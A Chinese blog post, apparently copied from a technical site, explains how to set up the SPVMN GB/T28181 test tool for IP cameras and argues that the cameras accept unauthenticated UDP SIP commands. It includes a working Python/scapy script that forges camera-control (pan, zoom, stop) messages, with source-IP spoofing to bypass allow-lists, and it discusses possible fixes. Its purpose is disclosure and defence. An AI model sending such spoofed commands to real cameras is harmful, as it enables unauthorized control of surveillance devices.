一、说明

这几天都在做设备的协议分析,然后看到有个叫Spvmn的不懂要怎么操作才能触发其操作过程,问了测试部的同事说也没有测试文档,自己研究了一下这里做个记录。

按我现在理解,各厂商有自己的私有协议、ONVIF是世界标准协议、GB/T28181是国标;Onvif Test Tool是ONVIF协议实现的测试工具,而SPVMN是GB/T28181协议实现的测试工具。

二、环境搭建

IPC:首先需要一台支持GB/T28181(或者说有Spvmn配置)的IPC,这个是必然的。

Windows电脑:看spvmn里边的文档说只支持Windows,Linux没试过。

JDK1.5:我使用JDK1.8该问页面一直报错,换成1.5才能成功访问。下载地址点链接

报错:org.apache.jasper.JasperException: Unable to compile class for JSP

Spvmn工具下载地址:http://7dx.pc6.com/wwb5/SPVMN.zip

下载直接解压到自己想要的目录,该工具本质是一个tomcat,里边部署了一个用于测试的jsp应用。和正常tomcat一样到bin目录点击startup.bat启动即可。

不过要注意,该tomcat默认使用8080端口,然后又启了在5060开了一个监听,所以在启动前要注意确保本机的这两个端口没被占用。

tomcat启动完成后,访问后边的链接,如果一切正常页面应如下图:http://127.0.0.1:8080/SIPStandardDebug/

三、测试操作

3.1 配置IPC上线

使用Onvif Test Tool等工具,我们都是在Onvif Test Tool等工具输入IPC的用户名密码向IPC认证。但Spvmn反过来,是在IPC中输入Spvmn的“用户名密码”,IPC向Spvmn认证。

这认证逻辑存在问题,我们后边再说,这里主要是知道是这样子就可以了。

Spvmn的“用户名密码”,存放在"webapps\SIPStandardDebug\WEB-INF\classes\SSDConfig.properties"中,主要找到这两个节区的信息

找到这些信息后,打开IPC上的Spvmn配置页面,把这些信息复制填到Spvmn页面对应的框中,然后保存启动即可。(Sip服务器就是装Spvmn的那台电脑)

此时回到Spvmn页面,依次点调测辅助面---链路管理,如无意外在弹出页面中即可看到IPC成功上线。

3.2 测试操作

第一步,点击“调测设备类型”选好要进行调测的设备,我们这里是IPC

第二步,在下面的各种操作通过点击选中自己要测试的命令,比如我这里点“向左”

第三步,点选好命令后在左下窗格中即会呈现该命令将会发送的主体报文,点击“发送消息”按钮,该命令即会向IPC发出返回结果呈现在右下窗格中。

当然协议实现除了看有消息返回外,更主要的还是要看IPC是否真的执行了相应的动作。比如我们这里发了“向左”命令,IPC是否真的有向左旋转。

四、Spvmn有可能沦为后门

4.1 原因分析

使用wireshark拦截数据包观察交互过程如下图。

IPC向Spvmn发起注册(REGISTER)请求,Spvmn回复未认证(Unauthorized),IPC通过Digest形式提交用户名密码,Spvmn回复认证成功。而后就都是Spvmn向IPC发送各种命令操控IPC(MESSAGE)。

正如我们向服务器认证,后续请求都得带session向服务器表明身份而服务器什么都不需要带一样;ipc向spvmn认证,那么后续请求上都是ipc向spvmn携带认证信息,而spvmn不会向ipc携带认证信息。(实际看来只有在上线注册时ipc向spvmn带了用户名密码,之后双方就都没带会话信息)

既然不需要认证信息的话,那是不是说,只要IPC开启spvmn,我伪装成spvmn服务器向ipc发命令ipc都会执行。而经过实验发现事实也是如此,测试代码如下可自行使用自己环境进行测试。

from scapy.all import *

# 伪装成本地spvmn发包,这个其实没必要
local_ip = "10.10.6.91"
local_port = 5060
# 有些IPC限制只接收从spvmn页面配置的ip发来的命令,此时可以通过伪造IP绕过
cheat_ip = "10.10.6.92"
# 目标ipc ip和端口
# ipc_ip = "10.10.6.98"
ipc_ip = "10.20.23.150"
ipc_port = 5060
# 1--turn_left,2--zoom_out,3--zoom_out_use_scapy,4--stop
command_flag = 3 # 让IPC向左旋转命令
def turn_left():
# 建立发送socket,和正常UDP数据包没区别
send_sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
# 其实不需要绑定端口
# send_sock.bind((local_ip, local_port)) message = ("""MESSAGE sip:34020000001320000001@34020000 SIP/2.0\r\n"""
"""Call-ID: b73541b1e114a46ed90805e4da810973@0.0.0.0\r\n"""
"""CSeq: 1 MESSAGE\r\n"""
"""From: <sip:34020000002000000001@34020000>;tag=86660128_53173353_32620149-dd3d-44e4-87ba-04ed172c9c00\r\n"""
"""To: <sip:34020000001320000001@34020000>\r\n"""
"""Max-Forwards: 70\r\n"""
"""Content-Type: Application/MANSCDP+xml\r\n"""
"""Route: <sip:34020000001320000001@10.10.6.98:5061;line=69701e6f20a4d96;lr>\r\n"""
"""Monitor-User-Identity: operation=ptz,extparam=0\r\n"""
"""Via: SIP/2.0/UDP 10.10.6.91:5060;branch=z9hG4bK32620149-dd3d-44e4-87ba-04ed172c9c00_53173353_18249986822757\r\n"""
"""Content-Length: 169\r\n"""
"""\r\n"""
"""<?xml version="1.0"?>\r\n"""
"""<Control>\r\n"""
"""<CmdType>DeviceControl</CmdType>\r\n"""
"""<SN>11</SN>\r\n"""
"""<DeviceID>34020000001320000001</DeviceID>\r\n"""
"""<PTZCmd>A50F01021F0000D6</PTZCmd>\r\n"""
"""</Control>\r\n""") send_sock.sendto(message.encode(), (ipc_ip, ipc_port))
print(f'{time.strftime("%Y-%m-%d %H:%M:%S", time.localtime())}: message send finish') send_sock.close() # 放大
def zoom_out():
send_sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
message = ("""MESSAGE sip:34020000001320000001@34020000 SIP/2.0\r\n"""
"""Call-ID: 777439ee00588111099b4d6bec2d68f4@0.0.0.0\r\n"""
"""CSeq: 1 MESSAGE\r\n"""
"""From: <sip:34020000002000000001@34020000>;tag=41520101_53173353_d839a55f-03bb-4cc7-9b7a-d3a7c1fc659e\r\n"""
"""To: <sip:34020000001320000001@34020000>\r\n"""
"""Max-Forwards: 70\r\n"""
"""Content-Type: Application/MANSCDP+xml\r\n"""
"""Route: <sip:34020000001320000001@10.10.6.98:5060;line=4bc806b81a29f15;lr>\r\n"""
"""Monitor-User-Identity: operation=ptz,extparam=0\r\n"""
"""Via: SIP/2.0/UDP 10.10.6.91:5060;branch=z9hG4bKd839a55f-03bb-4cc7-9b7a-d3a7c1fc659e_53173353_109133442800318\r\n"""
"""Content-Length: 169\r\n"""
"""\r\n"""
"""<?xml version="1.0"?>\r\n"""
"""<Control>\r\n"""
"""<CmdType>DeviceControl</CmdType>\r\n"""
"""<SN>11</SN>\r\n"""
"""<DeviceID>34020000001320000001</DeviceID>\r\n"""
"""<PTZCmd>A50F0110000010D5</PTZCmd>\r\n"""
"""</Control>"""
) send_sock.sendto(message.encode(), (ipc_ip, ipc_port))
print(f'{time.strftime("%Y-%m-%d %H:%M:%S", time.localtime())}: message send finish') send_sock.close() # 使用scapy伪造源IP地址
def zoom_out_use_scapy():
message = ("""MESSAGE sip:34020000001320000001@34020000 SIP/2.0\r\n"""
"""Call-ID: 777439ee00588111099b4d6bec2d68f4@0.0.0.0\r\n"""
"""CSeq: 1 MESSAGE\r\n"""
"""From: <sip:34020000002000000001@34020000>;tag=41520101_53173353_d839a55f-03bb-4cc7-9b7a-d3a7c1fc659e\r\n"""
"""To: <sip:34020000001320000001@34020000>\r\n"""
"""Max-Forwards: 70\r\n"""
"""Content-Type: Application/MANSCDP+xml\r\n"""
"""Route: <sip:34020000001320000001@10.10.6.98:5060;line=4bc806b81a29f15;lr>\r\n"""
"""Monitor-User-Identity: operation=ptz,extparam=0\r\n"""
"""Via: SIP/2.0/UDP 10.10.6.91:5060;branch=z9hG4bKd839a55f-03bb-4cc7-9b7a-d3a7c1fc659e_53173353_109133442800318\r\n"""
"""Content-Length: 169\r\n"""
"""\r\n"""
"""<?xml version="1.0"?>\r\n"""
"""<Control>\r\n"""
"""<CmdType>DeviceControl</CmdType>\r\n"""
"""<SN>11</SN>\r\n"""
"""<DeviceID>34020000001320000001</DeviceID>\r\n"""
"""<PTZCmd>A50F0110000010D5</PTZCmd>\r\n"""
"""</Control>"""
)
udp_packet = IP(src=cheat_ip, dst=ipc_ip) / UDP(dport=ipc_port) / message
send(udp_packet) # 让IPC停止所有动作命令
def stop():
send_sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
# 其实不需要绑定端口
# send_sock.bind((local_ip, local_port)) message = ("""MESSAGE sip:34020000001320000001@34020000 SIP/2.0\r\n"""
"""Call-ID: 0b9ed3de1558c60bc7ec2efc0dbdb744@0.0.0.0\r\n"""
"""CSeq: 1 MESSAGE\r\n"""
"""From: <sip:34020000002000000001@34020000>;tag=87210045_53173353_32620149-dd3d-44e4-87ba-04ed172c9c00\r\n"""
"""To: <sip:34020000001320000001@34020000>\r\n"""
"""Max-Forwards: 70\r\n"""
"""Content-Type: Application/MANSCDP+xml\r\n"""
"""Route: <sip:34020000001320000001@10.10.6.98:5061;line=69701e6f20a4d96;lr>\r\n"""
"""Monitor-User-Identity: operation=ptz,extparam=0\r\n"""
"""Via: SIP/2.0/UDP 10.10.6.91:5060;branch=z9hG4bK32620149-dd3d-44e4-87ba-04ed172c9c00_53173353_20090787679737\r\n"""
"""Content-Length: 169\r\n"""
"""\r\n"""
"""<?xml version="1.0"?>\r\n"""
"""<Control>\r\n"""
"""<CmdType>DeviceControl</CmdType>\r\n"""
"""<SN>11</SN>\r\n"""
"""<DeviceID>34020000001320000001</DeviceID>\r\n"""
"""<PTZCmd>A50F0100000000B5</PTZCmd>\r\n"""
"""</Control>\r\n""") send_sock.sendto(message.encode(), (ipc_ip, ipc_port))
print(f'{time.strftime("%Y-%m-%d %H:%M:%S", time.localtime())}: message send finish') send_sock.close() if __name__ == "__main__":
if command_flag == 1:
turn_left()
elif command_flag == 2:
zoom_out()
elif command_flag == 3:
zoom_out_use_scapy()
else:
stop()

4.2 修复讨论

方法一:

我们能不能在IPC端设定,只处理来自自身配置好的Spvmn的ip发来的命令?

答案是不能完全解决。实际发现有些厂商就做了ip限制,但因为使用的是UDP协议,IP完全是可以伪造的。

方法二:

在4.1的代码的请求中我们可以看到有一些应该是spvmn服务器的一些信息,我们可不可以在IPC端通过提取这些信息与spvmn配置页面中的进行比对一致才进行处理?

这应该是可以解决spvmn伪造的问题,但还存在的问题就是倘若spvmn服务器信息泄漏,那么IPC也会被控制;或者说此时spvmn的用户名密码也扮演了IPC用户名密码的角色,这增大了IPC的攻击面。另外在spvmn功能就类似操作系统的telnetd和sshd,攻击者侵入web后配置好spvmn就得到了一个天然的后门程序。

方法三:

4.1中我们说spvmn把认证方向搞反了,其实如果spvmn使用的是tcp而不是udp不用调整认证方向也能达到和方案二一样的效果。因为如果使用tcp那就是ipc随便选一个端口与spvmn服务器进行连接,该端口是ESTABLISHED状态而不是LISTENING状态,你新建一个进程试图与该端口建立连接该端口是不予理会的;而倘若是udp没有建立连接过程只能是监听状态,伪造的数据它也无法区分。但如果使用这种方法进行修复就不符合协议标准了,只是提一下。

参考:

https://blog.csdn.net/hiwubihe/article/details/82910685

Spvmn测试环境搭建及其安全性讨论的更多相关文章

  1. gb28181的SPVMN测试环境搭建以及设备端和服务器的具体实现

    1.GB/T28181开发1之SPVMN(1.0.0.1)环境搭建 https://blog.csdn.net/hiwubihe/article/details/82910685 2.SPVMN 视频 ...

  2. https,https的本地测试环境搭建,asp.net结合https的代码实现,http网站转换成https网站之后遇到的问题

    一:什么是https SSL(Security   Socket   Layer)全称是加密套接字协议层,它位于HTTP协议层和TCP协议层之间,用于建立用户与服务器之间的加密通信,确保所传递信息的安 ...

  3. 【转】https,https的本地测试环境搭建,asp.net结合https的代码实现,http网站转换成https网站之后遇到的问题

    正需要这个,写的很好,就转过来了 转自: http://www.cnblogs.com/naniannayue/ 一:什么是https SSL(Security   Socket   Layer)全称 ...

  4. Linux测试环境搭建的学习建议

    随着Linux应用的扩展许多朋友开始接触Linux,根据学习Windwos的经验往往有一些茫然的感觉:不知从何处开始学起.这里介绍学习Linux测试环境搭建的一些建议. 一.Linux测试环境搭建从基 ...

  5. 总结Selenium自动化测试方法(二)测试环境搭建

    (接上期内容) 二.测试环境搭建 1.安装python 现在python3.0比python2.0多了一些改进的功能(详见http://zhidao.baidu.com/link?url=3sT1g7 ...

  6. 【转2】Appium 1.6.3 在Xcode 8 (真机)测试环境搭建 经验总结

    Appium 1.6.3 在Xcode 8 (真机)测试环境搭建经验总结 关于 Appium 1.6.3 在Xcode 8, 1真机上环境搭建问题更多,写此文章,供大家参考,让大家少走弯路. 在开始i ...

  7. 【转1】Appium 1.6.3 在Xcode 8, iOS 10.2(模拟器)测试环境搭建 经验总结

    Appium 1.6.3 在Xcode 8, iOS 10.2(模拟器)测试环境搭建 经验总结 关于 Appium 1.6.3 在Xcode 8, 10.2 的iOS模拟器上的问题很多,本人也差点放弃 ...

  8. Android测试环境搭建

    Android测试环境搭建 一.操作系统 使用Win7_64位操作系统.(可以用其他的系统,下面都是针对Win7 64位进行操作) 二.安装JDK 运行jdk-6u45-windows-x64.exe ...

  9. USDT(omniCore)测试环境搭建

    一.测试环境搭建. 注:由于window版本的omni出现同步不了的问题,推荐使用linux系统进行usdt测试链的搭建. 1.下载omnicore: wget https://bintray.com ...

随机推荐

  1. python3下爬取网页上的图片的爬虫程序

    import urllib.request import re #py抓取页面图片并保存到本地 #获取页面信息 def getHtml(url): html = urllib.request.urlo ...

  2. mysql数据库优化之索引的维护和优化

    这里是一个工具,即pt-duplicate-key-checker工具 用来检查重复及冗余的索引 用法如下:pt-duplicate-key-checker  -uroot  -p密码  -h127. ...

  3. Caused by: java.lang.NoSuchMethodError: org.apache.poi.hssf.usermodel.HSSFCell.setEncoding(S)V

    java.lang.reflect.InvocationTargetException.  Coused by : java.lang.NoSuchMethodError:这个异常是找不到方法,但是如 ...

  4. Java RSA 公钥加密私钥解密

    package com.lee.utils; import java.io.DataInputStream; import java.io.File; import java.io.FileInput ...

  5. DHCP的IP地址租约、释放

    转自:https://blog.csdn.net/wangdk789/article/details/27052505 当DHCP客户端获取到一个IP地址后,并不代表可以永久使用这个地址,而是有一个使 ...

  6. MySQL数据库的sql语句的导出与导入

    1.MySQL数据库的导出 (1)选择对应的数据库 (2)点击右键选择Dump SQL File (3)会出现保存框,选择保存的位置,名称不建议重新起名 (4)点击保存出现 (5)点击Close就可以 ...

  7. sqllite中实现字符串分割

    WITH split(word, str) AS (    -- alternatively put your query here    -- SELECT '', category||',' FR ...

  8. You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'group t1,customer t2

    ### SQL: select t1.gid,t1.gname,t1.gvalue,t1.gtype, t1.gaddress,t1.gmembers, t1.gcode,t1.gphone, t2. ...

  9. linux 系统下安装多个php版本

    思路: 下载不同的php源码包,解压后安装在不同的目录下,修改php-fpm监听的端口号 php安装配置参数: ./configure --prefix=/usr/local/php71 --exec ...

  10. 用JSON.stringify处理循环引用对象

    通常,我们会用JSON.stringify把Javascript对象序列化成JSON格式,这在大多数情况下是够用的.但是,当你要转换的对象里存在循环引用时,问题就来了. js对象循环引用导致内存泄漏 ...